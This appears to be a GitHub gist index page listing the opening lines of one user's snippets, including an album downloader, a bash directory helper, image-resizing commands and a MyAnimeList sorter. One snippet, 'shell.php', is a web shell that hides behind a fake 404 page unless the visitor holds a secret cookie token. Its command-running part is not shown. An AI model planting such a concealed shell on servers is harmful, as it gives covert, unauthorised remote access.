Skip to content

Instantly share code, notes, and snippets.

@koteq
koteq / album_fetcher.py
Created December 10, 2011 18:34 — forked from Apkawa/album_fetcher.py
Fetch google+ album
# -*- coding: utf-8 -*-
"""
Usage:
python album_fetcher.py https://plus.google.com/photos/118353143366443526186/albums/5626152497309725217
python album_fetcher.py https://plus.google.com/118353143366443526186
python album_fetcher.py https://plus.google.com/118353143366443526186 youremail@gmail.com yourpassword
python album_fetcher.py https://plus.google.com/118353143366443526186 youremail@gmail.com yourpassword /out_dir/
TODO: use opt parse
"""
import os
@koteq
koteq / strike_out.js
Created November 27, 2012 09:01
Strike out dummy links
$(window).load(function(){
var live_selectors = [];
$($._data(document, 'events').click).each(function(){
live_selectors.push(this.selector);
});
$('a[href=""], a[href^="#"]').each(function(){
var link = this;
if (this.onclick === null &&
@koteq
koteq / shell.php
Last active December 16, 2015 01:19
Simple insecure php shell
<?php
$access_token = "";
if (empty($_COOKIE["access_token"]) || $_COOKIE["access_token"] !== $access_token) {
header('HTTP/1.0 404 Not Found');
echo "<h1>404 Not Found</h1>";
echo "The page that you have requested could not be found.";
die();
} else {
header('Connection: close');
header('X-Accel-Buffering: no');
@koteq
koteq / cdr.sh
Created August 4, 2013 09:38
Change dir recursively
#!/bin/bash
#
# this script should not be run directly,
# instead you need to source it from your .bashrc,
# by adding this line:
# . ~/bin/cdr.sh
#
function cdr() {
replacement=$1
array=(${PWD//\// })
@koteq
koteq / disable_output_buffering.php
Last active December 1, 2022 04:32
How to disable output buffering
<?php
// http/1.1 header to disable browsers cache
header('Cache-Control: no-cache');
// tell nginx to disable buffering
header('X-Accel-Buffering: no');
// disable apache mod_gzip and mod_deflate
apache_setenv('no-gzip', 1);
@koteq
koteq / gist:9973243
Last active August 29, 2015 13:58
phpstorm <?= spacing ?> regex
http://youtrack.jetbrains.com/issue/WI-17096
Ctrl + R
(<\?=?) ([^\s])|([^\s]) (\?>)
$1$2$3$4
@koteq
koteq / wallpaper_resize.bat
Last active August 29, 2015 14:00
Sigma for unsharp calculated by formula [screen ppi]/150 and for screen 1366x768 15.6" (100.45 ppi) it's equal to 0.669
for %%f in (*.png *.jpg) do convert "%%f" ^
-filter Lanczos -resize "1366x768^" ^
-unsharp 0x0.669+0.4+0.008 ^
-gravity center -extent 1366x768 ^
-set filename:f "%%t_%%wx%%h.png" "png:%%[filename:f]"
rem or use this cmdline:
rem for %f in (*.png *.jpg) do convert "%f" -filter Lanczos -resize "1366x768^" -unsharp 0x0.669+0.4+0.008 -gravity center -extent 1366x768 -set filename:f "%t_%wx%h.png" "png:%[filename:f]"
@koteq
koteq / mal_sort_plan2watch.js
Last active September 23, 2021 19:40
myanimelist.net sort plan to wach by rank #mal
// go to your myanimelist.net
// click "Plan to Watch"
// scrooll all the way down
// exec this from console
const calc_weight = function (score, users) {
const mean = 7.0;
const minimum = 30000.0;
return (score * users + mean * minimum) / (users + minimum); // imdb top250
};
@koteq
koteq / lomarengas.user.js
Last active August 29, 2015 14:06
lomarengas.fi distance from border control points
// ==UserScript==
// @name lomarengas distance matrix
// @description shows distance from border control points
// @version 20140910
// @match http://www.lomarengas.fi/*
// @updateURL https://gist.github.com/thekot/339e229ddb59ff66c8d0/raw/lomarengas.user.js
// ==/UserScript==
var map_canvas = document.querySelector('#map_canvas');
var geo = document.querySelector('div[itemprop="geo"]');
# coding: utf-8
# based on http://baguzin.ru/wp/?p=7873
import re
class AssParser:
def __init__(self):
self.dialog_re = re.compile(r'Dialogue:(?:[^,]*,){9}(.*)')